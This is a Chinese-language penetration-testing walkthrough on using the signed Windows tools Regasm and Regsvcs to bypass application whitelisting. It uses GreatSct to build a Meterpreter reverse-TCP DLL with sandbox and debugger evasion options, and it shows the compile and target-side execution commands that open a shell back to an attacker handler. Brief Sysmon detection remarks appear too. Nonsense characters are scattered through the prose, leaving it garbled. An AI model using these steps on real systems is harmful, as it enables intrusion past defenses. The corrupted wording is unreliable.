Regsvcs & Regasm
Regsvcs和Regasm是Windows命令行實用程序,用于注冊.NET組件對象模型(COM)程序集症昏。兩者都是由Microsoft進行數(shù)字簽名的随闽。
攻擊者可以使用Regsvcs和Regasm代理通過受信任的Windows實用程序執(zhí)行代碼。兩個實用程序可用于通過使用二進制內(nèi)的屬性來繞過進程白名單掘宪,以指定應在注冊或取消注冊之前運行的代碼:[ComRegisterFunction]或[ComUnregisterFunction]分別蛾扇。即使進程在權限不足的情況下運行并且無法執(zhí)行魏滚,也將執(zhí)行具有注冊和取消注冊屬性的代碼镀首。
regasm
目前只知道.netframework 4.0
的利用方式——GreatSct框架。
仔細看下配置項鼠次,看來也有反調(diào)試措施更哄。
Payload: regasm/meterpreter/rev_tcp selected
Required Options:
Name Value Description
---- ----- -----------
COMPILE_TO_DLL Y Compile to a DLL
DEBUGGER X Optional: Check if debugger is attached
DOMAIN X Optional: Required internal domain
EXPIRE_PAYLOAD X Optional: Payloads expire after "Y" days
HOSTNAME X Optional: Required system hostname
INJECT_METHOD Heap Virtual or Heap
LHOST IP of the Metasploit handler
LPORT 4444 Port of the Metasploit handler
PROCESSORS X Optional: Minimum number of processors
SLEEP X Optional: Sleep "Y" seconds, check if accelerated
TIMEZONE X Optional: Check to validate not in UTC
USERNAME X Optional: The required user account
然后執(zhí)行generate
[*] Language: regasm
[*] Payload Module: regasm/meterpreter/rev_tcp
[*] DLL written to: /usr/share/greatsct-output/compiled/payload1.dll
[*] Source code written to: /usr/share/greatsct-output/source/payload1.cs
[*] Execute with: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U payload1.dll
[*] Metasploit RC file written to: /usr/share/greatsct-output/handlers/payload1.rc
在msfconsole
上show advanced
是個好習慣成翩,可以看到更多的配置項。
可以選擇手動編譯源文件
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library payload.cs
目標機上加載生成好的payload.dll即可創(chuàng)建會話
C:\Users\Administrator>C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U C:\payload1.dll
Microsoft (R) .NET Framework Assembly Registration Utility 4.0.30319.1
Copyright (C) Microsoft Corporation 1998-2004. All rights reserved.
僵在這里不動了
sysmon日志
regasm.exe
會發(fā)起反彈連接捕传,觸發(fā)事件ID 3
regsvcs
唯一的要求是組裝的文件需要使用強名稱進行簽名扩劝。 Microsoft已經(jīng)發(fā)布了名為Sn.exe(Strong Name Tool)的實用程序,它是Visual Studio和.NET框架工具的一部分棒呛,可用于生成一對公鑰和私鑰。
可以跟上面一樣手動編譯源文件(并不需要sn生成的key)
GreatSct
會幫你編譯好dll文件簇秒,直接在目標機上執(zhí)行即可獲得會話。
C:\Users\Administrator>C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
c:\payload2.dll
Microsoft (R) .NET Framework Services Installation Utility Version 4.0.30319.1
Copyright (c) Microsoft Corporation. All rights reserved.
也是僵在這邊
sysmon日志
regasm.exe
也會發(fā)起反彈連接扛禽,觸發(fā)事件ID 3
自我小結
- 利用編程語言c#可以在內(nèi)存加載shellcode皱坛,在目標主機上用net框架的csc.exe來編譯成dll或者pe,借助白名單exe調(diào)用執(zhí)行剩辟。
- 本機直接生成dll或者pe,借助白名單exe調(diào)用執(zhí)行熊户。
- 加載遠程或本地
sct
文件或者inf
文件吭服,里面用js(或vb)生成wscript.shell
對象并執(zhí)行命令。而這些命令可以是1艇棕、2點 - 目前能直接內(nèi)存落地shellcode只有powershell绿饵。